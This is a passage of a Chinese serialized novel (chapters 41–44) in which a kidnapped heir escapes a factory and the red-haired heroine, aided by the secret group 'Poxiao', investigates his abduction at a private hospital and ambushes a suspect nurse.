话音还没落地,大哥大那头就爆发出震耳欲聋的咆哮声。中年男人赶紧把大哥大拿远了些,这期间对方在怒骂中挂断了电话。 中年男人握着大哥大站在原处,有些手足无措。 就在这时,他突然觉得小腿边掠过了一阵疾风。然后,脚踝被什么东西猛地一绊,他眼前的世界顿时倾斜,在身体彻底失去平衡前,眼角余光瞥见了一个飞速袭来的黑影,下一秒,他便全然没了知觉。 温雪生撑着板凳站起身,大口喘着气。 板凳腿上沾着新鲜的血迹,是从那中年男人头上流下来的。 不过,刚才的猛挥板凳的一击耗尽了温雪生所剩无几的力气,他只站了几秒钟,又踉跄着跌坐在地。 之前,他发现那中年男人反复用冷水把他泼醒,他突然产生了一种奇怪的想法——该不会这个人的任务就是让他一直清醒吧? 如果装死的话,说不定可以印证这个猜想。 而装死这个把戏,他再熟练不过。 就像在卢氏医院时,他其实早就醒了,却宁愿继续伪装。 他打心底希望自己永远不要醒来,这样就能彻底离开这个令人作呕的世界和虚伪的温四,然后去和妈妈、哥哥团聚。 可是不睁眼,就看不到外面的事。 印象里他好像闻到了一缕若有似无的香气,然后就什么都不记得了。 等他再恢复意识时,已经被绑在了这里,而冷水泼在了他的身上身。 毫无疑问,相隔十二年后,他又被绑架了。 想到这里,他几乎要笑出声。 看来他的死期终于到了。 他本该在十二年前就死在black社会的绑架中,如今命运重演,这就是他的宿命。 于是他放弃了求生的念头,任由意识在往事中沉浮。 直到那句欢快的“小生生”在耳边响起,他平静等死的心才有了波动:一股怒火在胸口燃起,似乎还夹杂着一丝说不清的眷恋。 他还有笔账没跟那个人算清楚。 他开始实施自己的装死计划。 计划顺利,且远超预期,他不仅验证了自己的猜测,还确认了现在密室周围没有其他人,更重要的是,他找到了与外界联系的方法。 他艰难地挪到那昏迷的中年男人身边,一根根掰开对方紧握的手指,从他手里抠出沉重的大哥大。 然后,他颤抖着按下温沙城堡的号码,沙哑地说:“喂,是我。” * 二十公里开外。 南希翻开摩托罗拉前盖,按下接听键。 “喂?”《 》 40-50 第41章 破晓 听筒里传来男人的声音,很熟悉: “张小姐……” 南希没等对方说完,直接打断,声音干巴巴的,没什么力气:“李管事啊?” 对方:“啊,是。” 南希:“你是想问温雪生是不是在我这对吧?我现在就可以告诉你,他不在。他的失踪跟我没关系,我也在找他。” 李管事沉默了。 有那么几秒钟的时间,南希只能听到手里电流微弱的滋滋声,像是另一头的人在衡量她这话的真假。 李管事:“我了解了。张小姐,你在哪儿?” 南希一愣,视线扫过眼前拥挤的实验室。 张笑远就站在她对面,不到三米的距离,穿着那件半旧不新的皮夹克,面无表情。他旁边是孙红和孙紫,姐妹俩背靠着放满显示器和主机的铁皮柜子。再过去一点呢,是穿着棉麻僧袍的释行和尚,他垂着眼,手里捻动着佛珠。 就在半个小时前,正是眼前这几位,帮她甩掉了那辆黑色越野车。当时对方追得很紧,摆明了不是善茬,在她觉得今天可能要栽的时候,一辆摩托车的引擎声由远及近,如同鬼魅般从岔路杀出,是孙红和孙紫这飞车党。 这次她们没戴头盔,头发在风里甩得像旗帜。 没有任何言语交流,摩托车跟她的切诺基并排行驶了短暂片刻,然后在一个十字路口,毫无预兆地放慢速度,车头猛地一横,硬生生卡死了整条马路。 南希神经紧绷,几乎是凭借本能反应,猛打了一把方向盘,同时脚下刹车急速配合,切诺基轮胎便发出了濒临极限的嘶鸣,然后,整个车身一斜,在地上磨出几道焦黑的弧线,惊险地擦着摩托车尾灯,拐进了右侧路口,消失在扬起的尘土里。 后面那辆黑越野,眼看就要撞上横在路中央的摩托车,只能愤恨地急刹减速。 因为他们不敢真撞上去,一旦出了人命,事情闹大,警察就会介入,那就彻底麻烦了。 孙红孙紫正是吃准了这一点,才这么干的。等那黑越野彻底停死,她们猛地一拧车把,在引擎的咆哮声中,朝路口的另一个方向绝尘而去。 而当那黑越野再重新发动、追到路口时,无论是俩姐妹嚣张的摩托车,还是南希那辆绿色切诺基,都早已没了踪影。 南希的视线停在孙红孙紫身上,再次用眼神向她们道谢,然后她看向了张笑远。 张笑远也正看着她,很轻微地点了一下头。 她立刻领会到了这里面包含的意思,对着话筒说:“那个,李管事,我在济东大学,计算机学院。” 对方回应得很快,没有丝毫犹豫:“好,我知道了。” 电话随即被挂断,只剩嘟嘟的忙音。 几乎就在忙音响起的同一时刻,实验室的门被人从外面推开,一个高个儿身影迅速闪了进来,然后反手就把门锁上了。 这人就是这间实验室的主人,宫教授。 他转过身,扫了眼屋子里这一大帮人,推了推眼镜,脸上露出毫不掩饰的无奈:“唉,我没想到,有一天会在我的实验室看到你们这副阵仗。” 孙红走过去,朝他肩膀不轻不重地捶了一拳:“是吗?你身份特殊,这实验室的位置又隐秘,怎么会想不到呢?我看,你在答应笑远入伙的时候,就已经预料到这一天了。” 宫教授叹了口气,抬手揉了揉被她捶过的地方,像是认了命:“可是这一天来得也太快了些吧。” 孙紫也凑近几步,歪着头看他:“怎么?后悔了?” 宫教授张了张嘴,那个“后”字刚冒出半个音,张笑远的声音就插了进来:“老宫是最不会后悔的那个。”他看着宫教授,语气很认真。 这话一出,孙红和孙紫对视一眼,又看向张笑远脸上那莫名笃定的表情,像是同时看到了什么恶心的东西,下意识齐齐往后撤了一步,瞬间拉开了和宫教授之间的距离。 连一直闭眼捻动佛珠的释行都停下了动作,摇了摇头,低低念了一声“阿弥陀佛”。 宫教授脸上的无奈感更重了,几乎要溢出来:“喂喂喂,你们要干嘛?还有,张笑远,我说了多少次,你别总老宫老宫的叫我,就能不能改改这个坏习惯?” 张笑远脸上浮上一丝不解,他好像真不明白大家为什么反应这么大。在他心里,老宫,老孙,老李,这些称呼又有什么不同?他正了正脸色,准备义正辞严地阐述一下这套关于称呼平等的理论。 突然,门被敲响了。 不轻不重,三下。 屋里瞬间安静下来,所有人都看向门口。 紧接着,一个苍老却清晰的声音隔着门板传了进来,每个字都咬得很慢:“夫算者,天地之经纬,群生之元首。” 屋里的几个人对视了一眼,眼睛都亮了一下,显然是都听出了这个暗号,只有南希还懵着,看看这个,又看看那个,没明白那文绉绉的话和眼前的局面有什么关系。 这时,宫教授走过去,开了门。 进来了一老一小两个人。 老的那个,满头乱糟糟像鸟窝一样的白发,胡子也是花白的,一缕缕粘在一起,鼻梁上架着一副深色的圆墨镜,遮住了眼睛。 他一手拄着根磨得发油的木拐杖,一只手牵着一个看起来约莫七八岁的小男孩。不过准确地说,应该是那个小男孩牵着他。 老头身上的褂子已经脏得看不出原本的颜色,裤子膝盖处磨得发白。小男孩也一样,穿得破破烂烂,脸上蹭着几道灰,脚上的布鞋前面甚至开了个口子。 这俩人,怎么看都怎么像俩在街头流浪的要饭的。 可是,屋里的人,连同开门的宫教授在内,都微微向这老头鞠了一躬,态度很是恭敬。南希被这突如其来的严肃气氛带动,也不由自主地弯了弯腰,但眼里还是充满了不解。 孙紫瞥见她的表情,挪到她身边,用胳膊肘轻轻戳了她一下,然后凑到她耳边说:“这是个老神仙,可能得有一百岁了。别看他眼瞎,心里明着呢,精通天道。” 南希忍不住又打量了那老头一番,已经不是像了,这人从头到脚,还真就是个在村口晒太阳、伸手讨钱的老要饭的,跟“神仙”二字一点边儿都不沾。 这时,张笑远回过身,面对南希,神情正式了些:“你现在看到的,就是‘破晓’的全部成员。”他抬手,掌心向上,引向那位白胡子老头,“这位是白先生,盲派命理的代表人物,能掐会算,铁口直断,窥探天机如观掌纹,在破晓里,排首位。” 白先生在一旁谦和地笑着,没拄拐杖的那只手在空中摆了摆:“呵呵呵,不敢,不敢。” 张笑远的手接着移向宫教授,正要开口:“这位是……” 南希直接接话:“是宫教授,我知道。济东大学最年轻的教授之一,年轻有为,可受学生们喜欢了。除此之外,他还有另一个身份,温雪生的家庭教师。” 宫教授听完,对她笑了笑:“张南希对吗?我也知道你。” 南希一怔,有些意外:“宫教授可不给我们商学院上课。” 说完,她忽然又想到,难不成是温雪生跟他说的?可凭温雪生那种别扭脾气,怎么会把她说给别人听?尤其这人还是他的老师…… 宫教授像是看穿了她的想法,语气里多了点调侃:“我那傻学生,雪生啊,最近这几个月简直跟变了个人似的。以前他阴沉得能拧出水来,现在嘛,倒是活泛多了,脸上也见了点笑模样。就是在上课时,有时候会莫名其妙地走神,眼睛看着窗外,有时候还会自己突然低下头偷偷笑一下。我一看他那个样子,就知道是谈恋爱了。这事我私下问过他,他脸憋得通红,死活不肯说,最后被我问急了,才支支吾吾承认是被什么‘女鬼’缠了身。 前两天,我在校园里碰见你俩走在一起,再看看他那个摸样,我就全明白了,”他嘴角上翘,“要是我没猜错,你就是那个把他迷得神魂颠倒的‘女鬼’本尊吧?” 南希哪里知道温雪生私底下会有这些事,脸上有点热,心头却莫名泛起一丝隐秘的开心。她嘴唇动了动,刚要说些什么,张笑远那没什么起伏的声音又在耳边响起,打断了这点微妙的氛围。 张笑远:“在‘破晓’,遇到信息技术方面的问题,我们都会找宫教授解决。” 宫教授双手抱在胸前,上半身斜靠在一张堆满文件的实验桌上,自嘲地挑了挑眉:“哦,说得挺好听。其实我就是给他们修电脑,维护监控系统,搞定定位追踪设备啥的,当然了,我也偶尔会客串一下黑客。唉,说白了,在他们这儿,我就是个技术打杂的。” 张笑远瞅了他一眼,刚打算反驳,宫教授像是怕了他又要喊出那个称呼,赶紧收了声,做了个投降的动作。 张笑远叹了口气,便又继续介绍,这次他的手指向了一直安静站在角落的释行和尚:“这位是清心寺的释行师傅,你之前见过,他虽然年轻,但佛法精深,已经过了罗汉之境,信徒非常多。” 那释行和尚听后,白净的脸皮竟然有些泛红,可依然保持着正经的神色,双手合十,低眉垂眼,又念了一句:“阿弥陀佛。” 张笑远微微笑笑,手最后扫过妖娆的孙红和冷艳的孙紫,然后又指向自己:“再加上我们龙虎山的师姐弟三人,就是完整的‘破晓’。” 南希的目光缓缓环视这一圈形态各异、身份悬殊的人,心里有种大开眼界的感觉。从张笑远第一次跟她讲什么梦想,什么“破晓”开始,她就觉得很神奇。 今天一见,‘破晓’六人,乍一看乱七八糟,毫无章法,什么人都有,可细细一琢磨,这个组织麻雀虽小五脏俱全,人员配置堪称完美啊! 这里既有宫教授这样的知识分子搞技术支援,又有孙红、孙紫、张笑远这三个龙虎山道士负责武力行动,还有一个释行这样的高僧负责在社会上收拢信徒、积累人脉,最重要的是,竟然还配着个能掐会算的白先生,可以帮助他们趋吉避凶,把握方向! 只是…… 南希的目光忽然落到了那个牵着白先生的小男孩身上。 这小男孩不知什么时候嚼起了泡泡糖,腮帮子一鼓一鼓的,一会儿就吹起个白色的泡泡。 “啪”的一声轻响,泡泡破了,糖膜粘到了嘴和鼻子上。他就伸出脏兮兮的小手,熟练地把糖膜从脸上抠下,然后又塞回嘴里,旁若无人地继续嚼。 南希的嘴角不由自主地抽动了一下,指着他问出了心里的疑虑:“你们‘破晓’不是一共六个人吗?这小孩是怎么回事?”她心里确实不放心,七八岁的孩子,已经懂些事了。难道要让这么个人待在这里,听他们之后可能要讨论的机密吗? 这百分百不行。 古话说,千里之堤溃于蚁穴,往往很多惊天动地的大事,最终的败露就是因为某些看似不起眼的小人物。她必须保持绝对的警惕。 张笑远还没来得及回答,白先生率先开口了,他那戴着墨镜的脸准确无误地“看”向南希所站的方向:“这是我徒儿,他跟在我身边五年多了,已经继承了我全部的知识,等我哪天死了,他自然会接替我的位子,成为‘破晓’新的白先生。” 南希心里顿时一松。 原来是接班人,小乞丐接老乞丐的班,听着倒也合理,符合这些江湖行当的传承规矩。 心里认可了这个孩子的身份后,她再看向眼前的“破晓”,忽然觉得这个组织更加深不可测了。在她读过的那些武侠小说里,像那小男孩这种年纪不大的要饭的,往往才是穿梭于市井,传递消息情报的关键角色。 她正想着,白先生又说话了,这次他把头转向了张笑远,语气也沉了下来:“笑远,听说这次有非常重要的事,所以你才把我们所有人都召集了过来。老朽本不想来蹚这浑水,来这之前,还特地起了一卦。”他微微仰头,像是在回忆卦象,“唉,竟得了个‘吉凶参半’的局。这就好比那车轱辘陷进了烂泥地里,你使多大劲儿它也打滑,光转悠出不來,你要做的这件事准是磕磕绊绊的,不顺当的地方多着呢!还有啊……” 他话锋一转,墨镜再次精准地“盯”住了南希,声音也压低了几分,“要是你这次召集大家来,是因为这个闺女的事,那么老朽劝你,最好别管了。要是你与她扯得太深,卦象必会彻底朝那大凶的地儿偏呐!” 他顿了顿,微微侧头,像是在用另一种视觉观察南希,“这闺女,长得倒是不赖,眼睛水汪汪的带着桃花,按老话讲,这是要走桃花运,碰上对象的好时候。可坏就坏在她这鼻梁根儿上,那儿能瞅见一道竖纹,细得跟头发丝儿似的,直戳戳地通到脑门呐!在命理中,这叫‘悬针煞’,是最倒霉的面相!说明她这人身子骨阴气重,容易招些不干净的东西跟着,自个儿都快保不住了,跟那泥菩萨过河没两样。老朽敢说,她最近肯定要倒大霉,要见血啊!这事儿还邪性得很,谁挨着她近,谁就得跟着遭殃,一个都跑不了!” 南希越听越气,碍于尊老爱幼的美德,还是忍着脾气把他这一长段胡话给听完了。 然后她嗤笑一声,掐着腰嚷起来:“诶诶,你这老头,路是看不见一点儿,需要个小娃娃领着走,面相倒是看得贼清啊,连我鼻子上的小纹纹都给瞧着了!” 这话冷嗖嗖的,任谁听了都不舒服,张笑远想拦着她,可手刚伸出去就被她打了回来。 不过那白先生倒不生气,就像是料到她会这样说似的,反而是他边上的小男孩急了。那孩子从嘴里掏出口香糖攒在手心,昂着头反驳:“你懂什么?我师父他开的是天眼,天眼只看命数,不看俗事儿!” 南希翻了个白眼,心里蓄了上百个词,想要把这小孩怼哭,这次终于被张笑远强行拦住。 只见他挡在南希面前,注视着白先生,正义凛然:“白先生,谢谢您再一次帮‘破晓’窥探天意,但是,这次,我不能听您的话了。张南希将会是‘破晓’的第七位成员,这也是我召集你们到这,想讲的第一件事。” 白先生怔了下,不再出声。 他真是老了,脑子不拐弯了,他怎么没多寻思寻思,破晓的全员会,从来就没出现过外人啊! 第42章 逃跑 实验室的日光灯管接触不良,偶尔发出细微的“嘶嘶”声。 白先生墨镜后的眉头皱了一下。他想起破晓创立的时候,几个热血的孩子外加他这个老头在全羊馆里举杯畅饮,那天,张笑远定下了一条规定:凡成员之难,无论山高水远,代价几何,必倾力相助。 大家虽然半醉半醒,但这条规定,却深深刻在了每一个成员的心里。也正是这条规矩,像黑暗中伸出的一只有力的手,拉住了当年漂泊无定的他。 他这辈子,在江湖飘零,见过太多人情冷暖,像他这种要饭的瞎汉,哪天要是跟谁结了仇,死在了大街上,估计连个收尸的都没有。但他知道,破晓会找到他,给他弄个像样的坟,还会想办法替他报仇。这就是一直藏在他心里,那早就被时代冲刷得、模糊不清的江湖义气。 哪个走江湖的,不看重这个呢? 所以,既然张笑远把这那小闺女带来了,意思很明显,她已经是“自己人”,那么,一切危险已不再考虑范围,他便不好再多说什么。 边上,张笑远似乎完全没有被刚才的插曲影响,破晓六个人好久没聚齐了,他感到很是兴奋,向前迈出了一大步,目光扫过在场每一张熟悉的面孔,然后充满激情地对大家宣布:“那么,接下来我要跟你们说的第二件事,是一个新任务,”他看向南希,“帮助我们未来的新成员张南希,找到温家少爷温雪生。” 说着,他拔高了声音:“破晓第三条规定,团结伙伴,把伙伴的事,当成自己的事!” 他手臂一挥,像是要劈开眼前的阻碍,“既然车轱辘陷入了烂泥地里,那么我们这些人,就得一起使劲,把它给拽上来!” 孙红和孙紫对视一眼,没什么表情,但站姿更挺直了些。释行和尚双手合十,默念佛经。宫教授推了推眼镜,嘴角有一丝若有若无的笑意。白先生不出声,算是默认。 南希受宠若惊,双眼瞪得滚圆,却说不出一句话。她自认为见多识广,却还真没见过这场面这架势。之前张笑远那一套激情澎湃的理想主义理论,让她尴尬到想找个洞钻进去,可现在竟让她有些震撼、有些感动…… 到底怎么回事儿? 她挠了挠头,笑了下,半天挤出俩字:“谢谢。” * 密室。 光线忽明忽暗。 地上躺着一个中年男人,一动不动,一看便是失去了意识。 温雪生蹲在他边上,手里紧紧抱着那个砖头似的大哥大,手心隐隐出汗。 他已经对着话筒连说了三个“喂?”,可听筒里仍然只有一片死寂的沙沙声。 没回应。 难不成是因为没有信号? 这地方太隐秘、太偏僻,信号覆盖不了? 不对。就在不久前,他明明看见那个看守他的中年男人,拿着大哥大打过电话…… 一股寒意顺着脊椎爬上来。 他右眼皮跳了下,心里有种不好的预感。在他的印象里,每当他眼皮这么跳,紧接着就没遇到过好事。 他的家庭医生曾告诉他,科学来讲,这是精神紧张导致的眼睑痉挛,源于对事情的负面预设。 他觉得医生说得有道理,并且,对自己这样一个新时代的大学生如此迷信感到羞耻。于是,这次他强迫自己深呼吸,尽量保持平静和理智,然后,他准备挂断这通没意义的电话。 就在拇指即将按下结束键的那一刻,电话那头突然有了动静。 那是一种带着惊讶与玩味的声音: “哦?” 这个声音…… 温雪生的心口一缩,这个声音不属于温沙城堡里的任何人! 可他明明是拨通的温沙城堡前厅的电话! 温雪生立马意识到危险,指尖微微用力,想立刻挂断电话,可心里又莫名涌出一种好奇,就像小钩子那样隐隐牵扯着他,让他没有真的按下挂断键。 “温雪生呀?”那个声音又响起来,带着点笑意,“真有意思,看来我小瞧……” 对方的话没说完,听筒里便传来了急促的盲音:“嘟嘟嘟——” 温雪生最终还是没敢听下去,他控制不住地发抖,牙齿轻轻打颤,意识又短暂地回到了十二年前的那次绑架。 黑暗,窒息,还有铁锈的味道,和现在一样…… 他猛地摇了摇头,试图拜托那些画面。 他告诉自己,他必须镇定,还有,必须思考。 首先,为什么他的电话会是一个陌生人接的? 串线? 不可能这么巧。 他颤颤地翻看手里的大哥大,突然想到,以前,宫教授跟他闲聊时提过的一些课外小知识:有些非法分子会利用技术改装电脑、电话等电器,从而用来窃听或者劫持信号。 难道这个大哥大被改装了? 不管拨什么号码,最后都会联接到那个人那里? 事情似乎比他想的还要复杂。他感觉自己正站在一张无形的巨网中,而收网的线,被紧紧握在那个接电话的人手里。 可是他还不能放弃。那团因为一句“小生生”而燃起的火焰,并没被眼前的情况吓到熄灭。 上次见南希时,她跟那个张笑远在一起。两人靠得很近,有说有笑,阳光洒在他们身上,刺得他眼睛发疼。 他们到底什么关系?她到底是不是在玩弄他?这个疑问像根刺,深深扎在他心口。 她不解释清楚,他就没法瞑目。 或许是这团火气给了他一些力气,他混沌的脑子竟然清楚了些。他想到李管事曾给他搜集到的,那一大摞关于“红发女鬼”的资料,每一页他都认真看了,几乎能背下来。 里面写着,红发女鬼一般在晚上活动,但是有人推测她白天其实也活动,只是会换一个身份隐藏自己。 他又想起南希打扮得靓丽夺目,混在碧海阁面试当明星的小女孩里;还有,她曾经装成怯生生的农村女孩,低着头,提着水桶,在温沙城堡里做保洁…… 他的思路越来越清晰。 他一边想,一边把视线定在了水泥地,那昏迷的中年男人身上。 等等,这人的身材比他壮不少…… 不管了,他把犹豫甩出身体,手下动了起来,动作虽然笨拙,却十分坚决。 只见他一件一件把那中年男人身上的衣服扒了下来,先是外套,然后是裤子,最后是里面那件黑色毛衣。 约莫五分钟后,一个穿着不合身黑西装的身影,压着脑袋,步伐很慢地走出了密室。 外面是一片堆满杂物的空地,看起来像是一座废弃已久的厂房。 空气里弥漫着铁锈和灰尘的味道,高高的屋顶破开了好几个不规则的大洞,透过这些洞,抬头就可以看到深黑色的天和几颗稀疏的星星。 温雪生在密室里已经不知道时间,心想原来是晚上了,怪不得刚才那个中年男人朝外面喊人,却没得到任何回应。 正想着,他突然听到一阵“呼噜呼噜”的声音,心里一颤,立马蹲下身子躲到一个破铁皮后面,然后探出半只眼睛循声张望。 在不远的地方,有一台巨大的废机器。机器旁边好像蜷着两个睡死过去的小打手。 原来是打呼噜的声音…… 温雪生舒了口气,又慢慢地从破铁皮后面走出来,视线却一直没离开那俩打手。 其中有个小流氓,温雪生还记得,那是第一次用冷水泼他脸,用盆子砸他头的那个。 他有火气,一时也想找个盆,狠狠砸过去。 不过也只能想想,他很快就靠着理智转过身,计划彻底逃出这个地方。 腿脚因长时间的捆绑还有些麻木,他强忍着不适,尽量放轻脚步,小心翼翼地绕过地上散落的碎砖、断裂的金属零件和不知名的垃圾,朝着厂房大门的方向挪去。 厂房外,一片无边的黑暗。 月光很冷清,把他摇晃的身影拉得又长又扭曲。 周围,枯草一块一块的,长得有半人那么高;远处,几棵早已死去的大树,枝干狰狞地伸向天空,像鬼一样。 在温雪生视线所能到达的最远处,隐约有些连成模糊一片的微弱灯光,那应该是城市的方向。 他想,看来这个厂房离城市比较远,如果刚才接电话的人在济东市里的话,不会这么快赶过来找他。 他还有逃跑的时间。 尽管他的身体状况很糟糕,走得也很慢,但他相信,只要小心,只要坚持,就一定能回去,一定!等到了市里,找到一部安全的电话,联系到温沙城堡,一切就好说了。 他充满着希望,咬紧牙关,拖着沉重麻木的双腿,深一脚浅一脚地踩在杂草和土地上。 夜风吹在他脸上,带着凉意,却让他精神振奋。 然后,就在这时。 身后突然传来一阵水流冲击地面的声音。 一个懒洋洋的,带着浓重睡意的话声突兀地响起: “喂,你去哪儿啊?里面那大少爷还醒着吗?” 第43章 线索 夜已经深了,卢氏医院急诊楼的还亮着灯。 一位穿着皮衣的短发男人,在一名挎着红绶带护士的引导下,走进了输液病房。 男人个子很高,身形挺拔,即使微微佝偻着腰,也难掩一种利落的帅气。 病房里值班的小护士听见动静,赶紧迎了出来。 “他……” 引导护士刚要开口,皮衣男已经抢先一步:“急性肠胃炎,麻烦……赶紧挂水。” 小护士见他脸色煞白,一只手还死死捂着肚子,不敢怠慢,把引导护士的交接都省了。 “您别急,慢慢说,先躺下。”她声音很温柔,伸手扶住皮衣男的胳膊,把他引到最近的一张空床边,让他慢慢躺下。 安顿好病人,她走到桌边,拉开抽屉,取出一根体温计,然后捏着体温计的一端,手腕熟练地一甩,水银柱被精准地甩回了最低点。 “先生,先量一下体温。” 说着,她又走回床边,轻柔地撩开病人的皮衣和里面毛衣的圆领,将体温计塞进他的腋窝。 做完这些后,她在病床边上的电脑前坐下,按了开机键,显示器亮起了幽幽的绿光。等待系统启动的功夫,她看了看床上摸样痛苦的病人,着急敲了几下键盘,调出档案信息。 “嗯……您是张笑远先生,对吗?”她看着屏幕问。 张笑远愣了一下,应道:“哦,对。你们医院真高级,我的资料都能从电脑上查着?” 小护士脸上露出一丝自豪:“我们院长是外国留学回来的,一直讲究国际化,这些电脑啊啥的,都是他从外国专门进口的高级设备。” “电脑上还能看到什么?”张笑远似乎来了兴趣,脸色都红润了些,说着就要用手肘撑起身体,想凑到电脑跟前看看。 “张先生,您还在量体温,请不要乱动。”护士赶紧起身,又扶着他躺回去,“我一会儿去给您备药。至于这电脑上啊,还能看到您的病例信息,嗯……还有这次的医药费。” “哦,那医药费多少?”张笑远像是才想起这茬,“刚才看完大夫,也没说让交钱,我就被刚才那个护士领到这儿了。” 小护士的手指又在键盘上敲击了几下,屏幕上很快就有数据在滚动。 “……八百二十八元。” “多少?!”张笑远惊得几乎要从床上弹起来,幸好护士反应快,伸手按住了他的肩膀。 他声音提高了八度,“我这是用什么药了啊?怎么花了这么多!?” 小护士打量了他一下,皮衣看起来不新,但版型很好,不像便宜货。 “先生,您是第一次来卢氏吧?” 张笑远重新捂住肚子:“半夜突然难受得要命,周围就这一家医院开着,我就过来了。” “难怪我之前没见过您。”小护士用一种介绍自家宝贝的语调说,“我给您讲讲我们这儿吧。在卢氏,我们为病人供最贴心的一对一服务,所以大部分病人我们都很熟悉。俗话说,一分钱一分货,医药费贵肯定有贵得道理啊。我们这是高级私人医院,环境好,服务好,医术好,技术也好,一会儿我给您打针,您一定不会感觉到疼。”说完,她拿起桌上的遥控器,体贴地打开了空调,暖风嗡嗡地送了出来。 她又去倒了杯温水,放在床头柜上,随即帮张笑远取出体温计,确认没有发烧后才动身去配药,出门前还送出一个很甜的微笑:“先生,请您稍等。” …… 几乎同一时间。 卢氏医院VIP病房顶层。 这里静得可怕,走廊里空无一人,连值班护士的座位都是空的。 最里面那间至尊VIP病房,门紧紧关着。 一道黑影如同夜猫,从病房敞开的窗户翻了进来,落地无声,然后她反手将窗户扣上,动作轻盈利落。 月光勉强透过玻璃,勾勒出她矫健的身形——一套紧身的黑色衣裤,仿佛第二层皮肤;一头火红的长发,即使在昏暗的光线下也十分显眼。 不是南希是谁? 这次温雪生失踪,卢氏医院的院长负有不可推卸的责任,所以南希觉得,院长必然会调动所有能动用的人手,撒出去找人。 事实也正如她所料,这会儿卢氏医院周围几乎没有巡逻的保安,她潜入得非常顺利。 她摘下挂在胸前的眼镜,架到鼻梁上。 这副看起来有些笨重的黑框眼镜,是入行时组织配发的工作工具,可是个难得的宝贝。 干她们这行,多在夜间活动,打手电筒容易暴露,这副眼镜的镜片经过特殊处理,收光效果非常好,哪怕只有微弱的月光,戴上它,视野内的东西也能跟在太阳底下的一样,轮廓清晰,连细节都看得见。 她这次行动的目的,是为了寻找可能被遗漏的线索。 有件事她一直想不明白,能在卢院长眼皮底下,在戒备不算松懈的VIP楼层,将温家大少爷悄无声息地掳走,到底是用了什么手法? 只要弄明白这一点,估计就能弄搞清楚温雪生的去向。 她俯下身,仔细检查窗台。 眼镜片隐隐映出两道锐利的目光,目光随着她的手指移动,拂过窗台的每一寸,寻找任何可能的划痕、脚印或者衣物的纤维。 窗台积着一层均匀的薄灰,没有任何新鲜的扰动痕迹。温雪生应该不是被人从窗户绑出去的。 其实这一点她早有判断,当时病房外守着不少打手,从窗户进出的目标太大,不可能不被发现,可谁让她自己总习惯性地信赖窗户,怕别人也跟她一样。 确认窗户没问题后,她的心病已了,便立刻转向了房间中央的那张病床。 温雪生被掳走前,就躺在这里,而他失踪的整个过程都没有任何异常声音,说明他当时极有可能处于不省人事的状态。 南希走到床边,半跪到地上,手指伸向床尾,又开始了仔细的摸索。 床垫、床单的褶皱、金属床架…… 冰冷的触感一一从指尖传来,她按顺序一路摸到床头,却依然一无所获。 一丝疑惑不由浮上心头。 如果她是劫匪,即使收到情报说目标生病昏迷,她也绝不会掉以轻心,因为万一目标在转移的过程中突然病愈醒了,呼叫救命或者使劲挣扎,那么一切都可能败露。所以,她一定会用某种手段,确保目标彻底“安静”。 而使用手段,就必然会留下痕迹。 她的目光循着床头向上移动,落在了一个铁架子上。 架子在从窗户透进来的惨淡月光下,反射着幽冷的光。 那是挂点滴瓶的地方。 她眯起了眼睛。 对了,点滴…… 温雪生昏迷时正在接受治疗,只需要在他的点滴瓶里,神不知鬼不觉地加入足够剂量的安定类药物,就能让他一路沉睡,任人摆布! 而能在事后让这些药物证据最快消失的,只有卢氏内部的人! 她的疑惑瞬间有了答案——那个知道卢院长去了隔壁病房,看起来柔弱单纯的小护士,果真有问题! 南希直起身,没有任何犹豫,从贴紧胳膊的小兜里取出了摩托罗拉。 * 卢氏医院一楼输液室。 小护士就推着放置药瓶、针管、胶带等物品的小车走了进去。 视线里,那床上的急性肠胃炎病人好像正把什么黑色东西藏到被子里,不过这不重要,重要的是他又坐起来了…… 等等,还有更重要的…… 小护士发现,自从她一进门,这个病人的目光就直直地落在了自己身上。 他的眼神过于专注,让她都有些不自在了…… 而且,说实话,他实在有些帅…… 她用余光扫过去,鼻梁高挺,眉眼深邃,唇形也好看……就像是从电视里走出来的大明星……她心里再次感叹,果然来他们医院的就不会有普通人,自己必须要珍惜在这里工作的机会。 这样想着,脸上竟隐隐烫了起来。她推着小车走到床边,刻意避开病人的视线,低头摆弄着针管和药瓶,声音尽量保持平稳:“张先生,我先给您打一瓶消炎的。” “好。”张笑远很配合地伸出左手。 小护士咽了口唾沫,小心翼翼地撸起他的毛衣袖子。 眼前的小臂线条流畅,肌肉匀称而结实……她感觉自己的脸更烫了。 她吸了口气,稳住手指,用橡胶管扎紧他的上臂,找到血管,然后消毒。 她的技术确实很好,动作也轻柔专业。 “放松,很快就好。”她轻声说,同时,手指已经捏住针头,对准张笑远清晰的青色血管。 就在针尖即将刺入皮肤的刹那,对方不知怎么,突然一个哆嗦,手臂肌肉瞬间绷紧。 时机掐得很准,小护士根本来不及反应,只见那针头一偏,斜着就刺入了病人血管旁的肉里,顿时,殷红的鲜血渗了出来。 “啊……”张笑远发出一声压抑的低吟。 小护士完全懵了,看着那不断冒出的血,愣了一下才害了怕,赶紧拿起备用棉球,按在伤口上止血。 “你不是说……”张笑远好像很不满,额角的青筋都跳了起来,“你不是说你技术好,打针不疼吗?这……这我可得找你们领导说说啊!” 小护士一听,眼眶瞬间就红了,泪水在里面打转:“对不起!对不起张先生!我……我不是故意的,您千万别去找领导……”她连声道歉,要是被投诉,这份好不容易得到的工作可能就保不住了。 话刚说完,她发现那止血的棉球已经变成了红色,便有手忙脚乱地想去拿推车上的新棉球。 “先别拿了!”张笑远皱紧眉心,“这东西太小,不顶用,你们这儿这么高级,难道没有专门包扎伤口的地方吗?你去把这针头给我拔了,然后好好包扎一下。” 小护士如梦初醒,赶紧点头:“有!有处置室!我带您去!”她心里又慌又乱,只想着尽快弥补过失,然后,扶着依旧一脸痛苦的张笑远,匆匆离开了输液病房,拐进走廊里最近的一间无菌处置室。 这里晚上通常没人用,她开门后就直接摸索着按下了墙上的开关。 惨白的日光灯一下子照亮了各种不锈钢器械,也照亮了房间里早已存在的第三个人——一个穿着黑色塑身衣,披着一头火红长发的女人,正静静地靠着墙角,似笑非笑地盯着他们。 小护士几乎吓掉了魂,张开嘴就要尖叫。 哪料,一只大手忽然从她身后伸来,死死捂住了她的嘴。 是张先生的手! 那根可笑的针头还歪歪扭扭的扎在他的肉里! 温热的、带着铁锈腥气的血液很快渗进她的嘴唇,让她一阵恶心反胃。 与此同时,身后的门,这个被她亲手扶进来的男人,“咔哒”一声,利落地反锁上了。 而眼前,那红发女人正一步步逼近。 第44章 分头行动 半个小时前。 卢氏医院护士长家里的电话铃响了。只一声,还没等那铃声响完,听筒就被抓了起来。 护士长一直坐在电话旁的藤椅上,等这个电话很久了。 